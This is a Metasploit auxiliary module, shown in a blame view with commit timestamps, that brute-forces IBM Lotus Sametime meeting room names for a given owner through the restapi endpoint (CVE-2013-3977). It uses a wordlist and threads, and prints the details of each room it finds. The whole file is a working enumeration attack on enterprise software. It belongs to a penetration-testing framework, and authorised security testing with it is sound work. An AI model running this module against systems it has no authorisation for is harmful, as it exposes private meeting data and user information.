metasploit-framework/modules/auxiliary/gather/ibm_sametime_room_brute.rb

193 lines
5.5 KiB
Ruby
Raw Normal View History

2013-12-26 12:02:52 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2013-12-26 12:02:52 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'enumerable'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Lotus Notes Sametime Room Name Bruteforce',
2014-01-17 21:31:51 +00:00
'Description' => %q{
This module bruteforces Sametime meeting room names via the IBM
2014-01-17 21:31:51 +00:00
Lotus Notes Sametime web interface.
},
2014-01-17 21:31:51 +00:00
'Author' =>
[
'kicks4kittens' # Metasploit module
],
2014-05-22 16:34:04 +00:00
'References' =>
[
[ 'CVE', '2013-3977' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21671201']
],
2014-01-17 21:34:33 +00:00
'DefaultOptions' =>
{
'SSL' => true
2014-01-17 23:59:03 +00:00
},
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 27 2013'
2014-01-17 21:31:51 +00:00
))
2014-01-17 21:57:12 +00:00
register_options(
[
Opt::RPORT(443),
OptString.new('OWNER', [ true, 'The owner to bruteforce meeting room names for', '']),
2014-01-17 21:57:12 +00:00
OptPath.new('DICT', [ true, 'The path to the userinfo script' ]),
OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/'])
])
register_advanced_options(
[
OptInt.new('TIMING', [ true, 'Set pause between requests', 0]),
OptInt.new('Threads', [ true, 'Number of test threads', 10])
])
end
def run
2016-02-01 22:06:34 +00:00
print_status("Beginning IBM Lotus Notes Sametime Meeting Room Bruteforce")
print_status("Using owner: #{datastore['OWNER']}")
# test for expected response code on non-existant meeting room name
rval = Rex::Text.rand_text_alpha(64)
uri = target_uri.path
@reqpath = normalize_uri(uri, '/restapi')
res = send_request_cgi({
'uri' => @reqpath,
'method' => 'GET',
'ctype' => 'text/html',
'vars_get' => {
'owner' => datastore['OWNER'],
'permaName' => rval
}
})
2014-01-17 21:57:12 +00:00
unless res
2016-02-01 22:06:34 +00:00
print_error("No response, timeout")
return
2013-12-26 12:02:52 +00:00
end
if res.code == 404 and res.body =~ /Room does not exist/i
2016-02-01 22:06:34 +00:00
vprint_status("Server responding to restapi requests as expected")
else
2016-02-01 22:06:34 +00:00
print_error("Unexpected response from server (#{res.code}). Exiting...")
return
2013-12-26 12:02:52 +00:00
end
# create initial test queue and populate
@test_queue = Queue.new
@output_lock = false
2013-12-26 12:02:52 +00:00
# TODO: If DICT is unreadable (missing, etc) this will stack trace.
2014-01-17 21:57:12 +00:00
::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
vprint_status("Loaded #{@test_queue.length} values from dictionary")
2013-12-26 12:02:52 +00:00
2016-02-01 22:06:34 +00:00
print_status("Beginning dictionary bruteforce using (#{datastore['Threads']} Threads)")
2013-12-26 12:02:52 +00:00
while(not @test_queue.empty?)
t = []
nt = datastore['Threads'].to_i
2014-01-17 21:57:12 +00:00
nt = 1 if nt <= 0
2013-12-26 12:02:52 +00:00
if @test_queue.length < nt
# work around issue where threads not created as the queue isn't large enough
nt = @test_queue.length
end
2013-12-26 12:02:52 +00:00
begin
1.upto(nt) do
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
Thread.current.kill if not test_current
res = make_request(test_current)
2014-01-17 21:57:12 +00:00
if res.nil?
2016-02-01 22:06:34 +00:00
print_error("Timeout from server when testing room \"#{test_current}\"")
elsif res and res.code == 404
2016-02-01 22:06:34 +00:00
vprint_status("Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}")
else
2014-01-17 21:57:12 +00:00
# check response for user data
check_response(res, test_current)
2013-12-26 12:02:52 +00:00
end
end
2013-12-26 12:02:52 +00:00
end
t.each {|x| x.join }
2013-12-26 12:02:52 +00:00
rescue ::Timeout::Error
ensure
t.each {|x| x.kill rescue nil }
end
end
end
2013-12-26 12:02:52 +00:00
2014-01-17 23:59:03 +00:00
# make request and return response
def make_request(test_current)
# Apply timing information
if datastore['TIMING'] > 0
Rex::sleep(datastore['TIMING'])
end
2013-12-26 12:02:52 +00:00
res = send_request_cgi({
'uri' => @reqpath,
'method' => 'GET',
'ctype' => 'text/html',
2014-01-17 21:57:12 +00:00
'vars_get' =>
{
'owner' => datastore['OWNER'],
'permaName' => test_current
}
})
end
2014-01-17 21:57:12 +00:00
# check the response for valid room information
def check_response(res, test_current)
begin
2014-01-17 21:57:12 +00:00
if res.code.to_i == 200
json_room = JSON.parse(res.body)
# extract room information if there is data
output_table(json_room, test_current) unless json_room.blank?
end
rescue JSON::ParserError
# non-JSON response - server may be overloaded
return
end
end
2013-12-26 12:02:52 +00:00
2014-01-17 21:57:12 +00:00
def output_table(room_info, test_current)
print_good("New meeting room found: #{test_current}")
2013-12-26 12:02:52 +00:00
2014-01-17 21:57:12 +00:00
# print output table for discovered meeting rooms
roomtbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[IBM Lotus Sametime] Meeting Room #{test_current}",
'Prefix' => "",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"Key",
"Value"
2014-01-17 21:57:12 +00:00
]
)
room_info['results'][0].each do |k, v|
if v.is_a?(Hash)
# breakdown Hash
roomtbl << [ k.to_s, '>>' ] # title line
v.each do | subk, subv |
roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"] if not v.nil? or v.empty?
end
else
roomtbl << [ k.to_s, v.to_s || "-"] unless v.nil?
end
end
2014-01-17 21:57:12 +00:00
# output table
print_good(roomtbl.to_s)
2013-12-26 12:02:52 +00:00
end
2013-12-26 12:02:52 +00:00
end